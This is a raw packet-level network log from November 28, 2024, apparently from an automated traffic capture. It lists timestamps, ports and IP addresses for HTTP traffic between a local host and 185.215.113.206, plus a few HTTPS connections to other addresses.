Nov 28, 2024 15:17:43.963224888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.964088917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.964212894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.964231968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.964245081 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.964956045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.965004921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.965035915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.965100050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.965853930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.965899944 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.965954065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.966006994 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.966793060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.966833115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.966866016 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.966902018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.967672110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.967730045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.967765093 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.967803001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.968599081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.968655109 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.968691111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.968734026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.969587088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.969598055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.969640017 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.970483065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.970529079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.970566034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.970604897 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.971343994 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.971406937 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.971417904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.971517086 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.972249985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.972309113 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.972389936 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.972563982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.973174095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.973237991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.973273993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.973371983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.974116087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.974230051 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.974253893 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.974265099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.975095034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.975148916 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.975187063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.975258112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.975976944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.976017952 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.976032972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.976068020 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.976876974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.976917028 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.976975918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.977018118 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.977768898 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.977822065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.977868080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.978014946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.978749037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.978790998 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.978805065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.978818893 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.979573965 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.979629040 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.979672909 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.979717016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.980523109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.980568886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.980576038 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.980607033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.981493950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.981533051 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.981595993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.981631041 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.982374907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.982434988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.982465982 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.982531071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.983297110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.983345032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.983346939 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.983417034 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.984172106 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.984221935 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.984239101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.984294891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.985126972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.985169888 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.985172033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.985208035 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.986006021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.986047029 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.986085892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.986128092 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.986901999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.986941099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.986978054 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.987020016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.987816095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.987857103 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.987938881 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.988010883 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.988722086 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.988830090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.988876104 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.989675045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.989773035 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.989814997 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.990608931 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.990654945 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.990752935 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.991456985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.991503954 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.991856098 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.991890907 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.991941929 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.991957903 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:43.991988897 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:43.993606091 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.014166117 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.014199972 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.014247894 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.014261007 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.014297962 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.014318943 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.031625986 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.031653881 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.031717062 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.031728983 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.031769991 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.031791925 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.048180103 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.050944090 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:44.050972939 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.078296900 CET	49867	443	192.168.2.6	23.209.72.35
Nov 28, 2024 15:17:44.078341961 CET	443	49867	23.209.72.35	192.168.2.6
Nov 28, 2024 15:17:44.078409910 CET	49867	443	192.168.2.6	23.209.72.35
Nov 28, 2024 15:17:44.078634977 CET	49867	443	192.168.2.6	23.209.72.35
Nov 28, 2024 15:17:44.078650951 CET	443	49867	23.209.72.35	192.168.2.6
Nov 28, 2024 15:17:44.117106915 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:44.117117882 CET	443	49863	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:44.117505074 CET	443	49863	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:44.117567062 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:44.119662046 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:44.142455101 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.144244909 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.144283056 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.144362926 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.144437075 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.144484997 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.144484997 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.144983053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.145003080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.145082951 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.145128965 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:44.145164967 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.145405054 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.145457029 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.145669937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.145682096 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.145720959 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.146519899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.146656990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.146713018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.147409916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.147471905 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.147546053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.147598982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.148365974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.148418903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.148443937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.148623943 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.149286032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.149415970 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.149472952 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.150213957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.150276899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.150278091 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.150317907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.151109934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.151190042 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.151226997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.151269913 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.152018070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.152065992 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.152084112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.152098894 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.152941942 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.153193951 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.153243065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.153873920 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.154031992 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.154089928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.154732943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.154783964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.154890060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.154963017 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.155720949 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.155781031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.155807972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.155971050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.156606913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.156699896 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.156759977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.157566071 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.157677889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.157722950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.158420086 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.158477068 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.158628941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.158691883 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.159375906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.159475088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.159532070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.159701109 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.159739017 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.159806967 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.159822941 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.159936905 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.160276890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.160334110 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.160368919 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.160588980 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.161150932 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.161207914 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.161288023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.161398888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.162091017 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.162144899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.162167072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.162220955 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.162992954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.163063049 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.163120031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.163609028 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.163899899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.163938046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.163959026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.164012909 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.164860010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.164915085 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.164984941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.165024042 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.165718079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.165834904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.165878057 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.166639090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.166798115 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.166856050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.167331934 CET	443	49863	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:44.167583942 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.167632103 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.167695045 CET	443	49855	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.167702913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.167758942 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.168076992 CET	49855	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.168096066 CET	443	49855	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.168510914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.168569088 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.168663025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.168754101 CET	49855	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.168760061 CET	443	49855	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.168771029 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.168808937 CET	49855	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.168818951 CET	443	49855	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.169392109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.169445038 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.169588089 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.170332909 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.170392990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.170620918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.170975924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.171211004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.171261072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.171324968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.171370029 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.172168970 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.172219038 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.172254086 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.172431946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.173053980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.173069954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.173106909 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.173135996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.173979044 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.174032927 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.174086094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.174175024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.174923897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.174978018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.175010920 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.175204039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.175240993 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.175280094 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.175335884 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.175354958 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.175384045 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.175407887 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.175837040 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.175888062 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.175980091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.176112890 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.176765919 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.176826000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.176839113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.177012920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.177669048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.177844048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.177901030 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.178548098 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.178600073 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.178636074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.178800106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.179466009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.179514885 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.179529905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.179778099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.180383921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.180440903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.180540085 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.180665970 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.181278944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.181325912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.181400061 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.181442976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.182239056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.182293892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.182625055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.182676077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.183140993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.183195114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.183219910 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.183464050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.184046030 CET	80	49804	185.215.113.206	192.168.2.6
